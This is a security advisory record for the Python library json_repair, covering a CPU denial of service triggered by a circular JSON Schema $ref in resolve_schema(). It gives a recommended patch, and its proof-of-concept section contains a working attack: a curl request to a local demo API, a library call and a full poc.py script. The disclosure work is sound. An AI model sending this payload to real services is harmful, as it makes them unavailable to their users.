{"id":"GHSA-xf7x-x43h-rpqh","aliases":[],"url":"https://o3.security/vulnerability/GHSA-xf7x-x43h-rpqh","summary":"json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS","details":"## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`\n\n### Summary\n\n`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).\n\n### Details\n\n`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop:\n\n```python\n# src/json_repair/schema_repair.py:184-190\nschema_dict = cast(\"dict[str, Any]\", schema)\nwhile \"$ref\" in schema_dict:\n    ref = schema_dict[\"$ref\"]\n    resolved = self._resolve_ref(ref)\n    if isinstance(resolved, bool):\n        return resolved\n    schema_dict = resolved\n```\n\n`_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:\n\n```json\n{\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n```\n\n`_resolve_ref()` returns the same `dict` object on every iteration, so `\"$ref\" in schema_dict` is always `True` and the loop never terminates.\n\nThe vulnerable sink is reachable without authentication through the demo Flask API:\n\n```python\n# docs/app.py:14, 21-36\ndata = request.get_json()\nschema = data.get(\"schema\")\nif schema is not None and not isinstance(schema, (dict, bool)):\n    raise ValueError(\"schema must be a JSON object or boolean.\")\n...\nif schema is not None:\n    loads_kwargs[\"schema\"] = schema\nparsed_json = loads(malformed_json, **loads_kwargs)\n```\n\nThe only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:\n\n1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body.\n2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied.\n3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`.\n4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`.\n5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop.\n6. `src/json_repair/schema_repair.py:184–190` — unbounded `while \"$ref\" in schema_dict` loop (sink).\n7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call.\n\n**Recommended fix:**\n\n```diff\n--- a/src/json_repair/schema_repair.py\n+++ b/src/json_repair/schema_repair.py\n     def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:\n         ...\n-        schema_dict = cast(\"dict[str, Any]\", schema)\n+        schema_dict = cast(\"dict[str, Any]\", schema)\n+        seen_schema_ids: set[int] = set()\n         while \"$ref\" in schema_dict:\n             ref = schema_dict[\"$ref\"]\n+            if not isinstance(ref, str):\n+                raise SchemaDefinitionError(\"$ref must be a string.\")\n+            schema_id = id(schema_dict)\n+            if schema_id in seen_schema_ids:\n+                raise SchemaDefinitionError(f\"Circular $ref detected: {ref}\")\n+            seen_schema_ids.add(schema_id)\n             resolved = self._resolve_ref(ref)\n             if isinstance(resolved, bool):\n                 return resolved\n             schema_dict = resolved\n         return schema_dict\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the affected version\ngit clone https://github.com/mangiucugna/json_repair.git\ngit -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7\n\n# Install dependencies\npip install flask flask-cors jsonschema pydantic\npip install -e json_repair/\n\n# Start the demo API\nPYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005\n```\n\n**Alternatively, use the provided Docker image:**\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /app\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \\\n    pip install --no-cache-dir -e /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n```bash\ndocker build -t vuln001-json-repair -f vuln-001/Dockerfile .\ndocker run --rm vuln001-json-repair\n```\n\n**HTTP attack request (demo API):**\n\n```bash\ntimeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"malformedJSON\":\"{}\",\"schema\":{\"$ref\":\"#/definitions/a\",\"definitions\":{\"a\":{\"$ref\":\"#/definitions/a\"}}}}'\n# Expected: no response before timeout; curl exits with code 124\n```\n\n**Direct library attack:**\n\n```bash\ntimeout 5 python3 - <<'PY'\nfrom json_repair import loads\nschema = {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\nprint(loads(\"{}\", schema=schema))\nPY\n# Expected: process killed after 5 s; exit code 124\n```\n\n**Observed results (from Docker-based dynamic reproduction):**\n\n- Baseline (valid schema `{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"}}}`): completed in **0.261 s**.\n- Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed.\n\n### Impact\n\nThis is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner.\n\nBeyond the demo API, any application that exposes `json_repair.loads(..., schema=<user-controlled>)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Copy the vulnerable json_repair repository (build context is the report root)\nCOPY repo/ /app/repo/\n\n# Install Flask demo API dependencies and schema extras\nRUN pip install --no-cache-dir \\\n        flask \\\n        flask-cors \\\n        jsonschema \\\n        pydantic && \\\n    pip install --no-cache-dir -e /app/repo/\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS\nCWE-835 — Loop with Unreachable Exit Condition\n\nAffected: json_repair <= 0.59.10 (commit 0015c74)\nSink:     src/json_repair/schema_repair.py:185\n          SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.\n\nAttack schema:\n    {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n\nWhen passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop\nbecause _resolve_ref() always returns the same dict object from root_schema.\n\nVerdict logic:\n  - Baseline (valid schema) must complete in < TIMEOUT seconds.\n  - Attack (circular $ref) must still be running at TIMEOUT seconds.\n  Both conditions together constitute deterministic proof of the vulnerability.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# Seconds to wait before declaring the attack confirmed (infinite loop)\nTIMEOUT_SECONDS = 5\n\nCIRCULAR_SCHEMA = {\n    \"$ref\": \"#/definitions/a\",\n    \"definitions\": {\n        \"a\": {\"$ref\": \"#/definitions/a\"}\n    }\n}\n\nNORMAL_SCHEMA = {\n    \"type\": \"object\",\n    \"properties\": {\n        \"name\": {\"type\": \"string\"}\n    }\n}\n\n_RUNNER_TEMPLATE = \"\"\"\\\nimport sys\nsys.path.insert(0, '/app/repo/src')\nfrom json_repair import loads\nschema = {schema_repr}\nresult = loads('{{}}', schema=schema)\nprint(result)\n\"\"\"\n\n\ndef run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]:\n    \"\"\"\n    Run json_repair loads() with the given schema in an isolated subprocess.\n\n    Returns:\n        timed_out (bool): True if the process was still running at `timeout` seconds.\n        elapsed (float): Wall-clock seconds until completion or kill.\n        output (str): stdout/stderr excerpt.\n    \"\"\"\n    script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))\n\n    with tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".py\", delete=False) as fh:\n        fh.write(script_content)\n        script_path = fh.name\n\n    start = time.monotonic()\n    try:\n        proc = subprocess.run(\n            [sys.executable, script_path],\n            timeout=timeout,\n            capture_output=True,\n            text=True,\n        )\n        elapsed = time.monotonic() - start\n        output = (proc.stdout.strip() or proc.stderr.strip())[:400]\n        return False, elapsed, output\n    except subprocess.TimeoutExpired:\n        elapsed = time.monotonic() - start\n        return True, elapsed, f\"[no output — process killed after {elapsed:.2f}s]\"\n    finally:\n        os.unlink(script_path)\n\n\ndef main() -> int:\n    print(\"=\" * 64)\n    print(\"VULN-001 PoC: Circular $ref JSON Schema DoS\")\n    print(\"json_repair SchemaRepairer.resolve_schema() — CWE-835\")\n    print(\"=\" * 64)\n\n    # --- Test 1: baseline (must complete quickly) ---\n    print(f\"\\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)\")\n    timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(\n        NORMAL_SCHEMA, TIMEOUT_SECONDS\n    )\n    if timed_out_baseline:\n        print(f\"  UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue\")\n        baseline_ok = False\n    else:\n        print(f\"  COMPLETED in {elapsed_baseline:.3f}s  ->  {output_baseline}\")\n        baseline_ok = True\n\n    # --- Test 2: circular $ref attack (must time out) ---\n    print(\n        f\"\\n[TEST 2] Attack — circular $ref schema\"\n        f\" (expect hang > {TIMEOUT_SECONDS}s)\"\n    )\n    print(f\"  Schema: {CIRCULAR_SCHEMA}\")\n    timed_out_attack, elapsed_attack, output_attack = run_schema_test(\n        CIRCULAR_SCHEMA, TIMEOUT_SECONDS\n    )\n    if timed_out_attack:\n        print(\n            f\"  TIMED OUT after {elapsed_attack:.2f}s \"\n            f\"— infinite loop CONFIRMED (VULNERABLE)\"\n        )\n        attack_confirmed = True\n    else:\n        print(\n            f\"  Completed in {elapsed_attack:.3f}s  ->  {output_attack}\"\n            f\"\\n  (patched or not triggered — check installation)\"\n        )\n        attack_confirmed = False\n\n    # --- Summary ---\n    print(\"\\n\" + \"=\" * 64)\n    if baseline_ok and attack_confirmed:\n        print(\"VERDICT: PASS\")\n        print(\"  Normal schema  : returned in under 1 s\")\n        print(f\"  Circular $ref  : still running after {TIMEOUT_SECONDS}s (killed)\")\n        print(\"  Conclusion: resolve_schema() enters an unbounded loop on circular $ref.\")\n        return 0\n    elif not attack_confirmed:\n        print(\"VERDICT: FAIL — circular $ref did not cause an infinite loop\")\n        print(\"  The library may already be patched in this build.\")\n        return 2\n    else:\n        print(\"VERDICT: FAIL — baseline test failed; check the environment\")\n        return 3\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","published":"2026-07-13T23:41:39Z","modified":"2026-07-13T23:45:11.773964507Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"json-repair","fixedVersion":"0.60.1"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/mangiucugna/json_repair/security/advisories/GHSA-xf7x-x43h-rpqh"},{"type":"PACKAGE","url":"https://github.com/mangiucugna/json_repair"},{"type":"WEB","url":"https://github.com/mangiucugna/json_repair/releases/tag/v0.60.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-13T23:45:11.773964507Z"}}